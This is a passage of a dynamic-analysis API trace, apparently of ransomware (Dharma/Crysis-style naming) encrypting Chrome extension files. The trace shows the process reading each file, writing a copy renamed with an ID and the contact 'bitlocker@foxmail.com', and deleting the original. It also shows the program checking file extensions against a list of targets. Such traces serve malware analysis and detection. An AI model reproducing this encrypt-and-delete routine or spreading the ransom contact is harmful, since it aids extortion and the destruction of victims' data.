data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.552] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.552] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0174.553] GetLastError () returned 0x0 [0174.553] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.554] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.768] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.768] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.880] SetEndOfFile (hFile=0x19c) returned 1 [0174.880] CloseHandle (hObject=0x19c) returned 1 [0174.880] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.880] SetEndOfFile (hFile=0x1ac) returned 1 [0174.881] CloseHandle (hObject=0x1ac) returned 1 [0174.881] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.881] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json")) returned 1 [0174.881] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 156 [0174.881] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 156 [0174.881] lstrlenW (lpString=".doc") returned 4 [0174.881] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.881] lstrlenW (lpString=".docx") returned 5 [0174.881] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.881] lstrlenW (lpString=".pdf") returned 4 [0174.881] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.882] lstrlenW (lpString=".xls") returned 4 [0174.882] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.882] lstrlenW (lpString=".xlsx") returned 5 [0174.882] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.882] lstrlenW (lpString=".ppt") returned 4 [0174.882] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 156 [0174.882] lstrlenW (lpString=".zip") returned 4 [0174.882] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.882] lstrlenW (lpString=".rar") returned 4 [0174.882] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.882] lstrlenW (lpString=".bz2") returned 4 [0174.882] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.882] lstrlenW (lpString=".7z") returned 3 [0174.882] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 156 [0174.882] lstrlenW (lpString=".dbf") returned 4 [0174.882] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 156 [0174.882] lstrlenW (lpString=".1cd") returned 4 [0174.882] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 156 [0174.882] lstrlenW (lpString=".jpg") returned 4 [0174.882] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 156 [0174.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 156 [0174.882] lstrlenW (lpString=".doc") returned 4 [0174.882] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.882] lstrlenW (lpString=".docx") returned 5 [0174.882] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.883] lstrlenW (lpString=".pdf") returned 4 [0174.883] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.883] lstrlenW (lpString=".xls") returned 4 [0174.883] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.883] lstrlenW (lpString=".xlsx") returned 5 [0174.883] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.883] lstrlenW (lpString=".ppt") returned 4 [0174.883] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 156 [0174.883] lstrlenW (lpString=".zip") returned 4 [0174.883] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.883] lstrlenW (lpString=".rar") returned 4 [0174.883] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.883] lstrlenW (lpString=".bz2") returned 4 [0174.883] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.883] lstrlenW (lpString=".7z") returned 3 [0174.883] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 156 [0174.883] lstrlenW (lpString=".dbf") returned 4 [0174.883] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 156 [0174.883] lstrlenW (lpString=".1cd") returned 4 [0174.883] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 156 [0174.883] lstrlenW (lpString=".jpg") returned 4 [0174.883] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.883] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.884] lstrlenW (lpString="verified_contents.json") returned 22 [0174.884] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.884] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=10089) returned 1 [0174.884] CloseHandle (hObject=0x1ac) returned 1 [0174.884] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json")) returned 0x2020 [0174.884] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.884] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.885] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.885] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.885] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.895] GetLastError () returned 0x0 [0174.895] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x2769, lpOverlapped=0x0) returned 1 [0174.921] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x2770, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x2770, lpOverlapped=0x0) returned 1 [0174.922] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.922] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x100, lpOverlapped=0x0) returned 1 [0174.922] SetEndOfFile (hFile=0x124) returned 1 [0174.922] CloseHandle (hObject=0x124) returned 1 [0174.922] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.922] SetEndOfFile (hFile=0x1ac) returned 1 [0174.923] CloseHandle (hObject=0x1ac) returned 1 [0174.923] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.923] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json")) returned 1 [0174.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 160 [0174.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 160 [0174.924] lstrlenW (lpString=".doc") returned 4 [0174.924] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.924] lstrlenW (lpString=".docx") returned 5 [0174.924] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.924] lstrlenW (lpString=".pdf") returned 4 [0174.924] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.924] lstrlenW (lpString=".xls") returned 4 [0174.924] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.924] lstrlenW (lpString=".xlsx") returned 5 [0174.924] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.924] lstrlenW (lpString=".ppt") returned 4 [0174.924] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 160 [0174.924] lstrlenW (lpString=".zip") returned 4 [0174.924] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.924] lstrlenW (lpString=".rar") returned 4 [0174.924] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.924] lstrlenW (lpString=".bz2") returned 4 [0174.924] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.924] lstrlenW (lpString=".7z") returned 3 [0174.924] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 160 [0174.924] lstrlenW (lpString=".dbf") returned 4 [0174.924] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 160 [0174.924] lstrlenW (lpString=".1cd") returned 4 [0174.925] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 160 [0174.925] lstrlenW (lpString=".jpg") returned 4 [0174.925] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 160 [0174.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 160 [0174.925] lstrlenW (lpString=".doc") returned 4 [0174.925] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.925] lstrlenW (lpString=".docx") returned 5 [0174.925] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.925] lstrlenW (lpString=".pdf") returned 4 [0174.925] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.925] lstrlenW (lpString=".xls") returned 4 [0174.925] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.925] lstrlenW (lpString=".xlsx") returned 5 [0174.925] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.925] lstrlenW (lpString=".ppt") returned 4 [0174.925] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 160 [0174.925] lstrlenW (lpString=".zip") returned 4 [0174.925] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.925] lstrlenW (lpString=".rar") returned 4 [0174.925] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.925] lstrlenW (lpString=".bz2") returned 4 [0174.925] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.925] lstrlenW (lpString=".7z") returned 3 [0174.925] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 160 [0174.925] lstrlenW (lpString=".dbf") returned 4 [0174.925] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 160 [0174.926] lstrlenW (lpString=".1cd") returned 4 [0174.926] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.926] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 160 [0174.926] lstrlenW (lpString=".jpg") returned 4 [0174.926] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.926] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.926] lstrlenW (lpString="manifest.json") returned 13 [0174.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.926] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=726) returned 1 [0174.926] CloseHandle (hObject=0x1ac) returned 1 [0174.926] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json")) returned 0x2020 [0174.926] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.927] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.927] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.927] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.927] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.927] GetLastError () returned 0x0 [0174.927] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x2d6, lpOverlapped=0x0) returned 1 [0174.929] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x2e0, lpOverlapped=0x0) returned 1 [0174.930] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.930] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.930] SetEndOfFile (hFile=0x124) returned 1 [0174.930] CloseHandle (hObject=0x124) returned 1 [0174.930] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.930] SetEndOfFile (hFile=0x1ac) returned 1 [0174.931] CloseHandle (hObject=0x1ac) returned 1 [0174.931] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 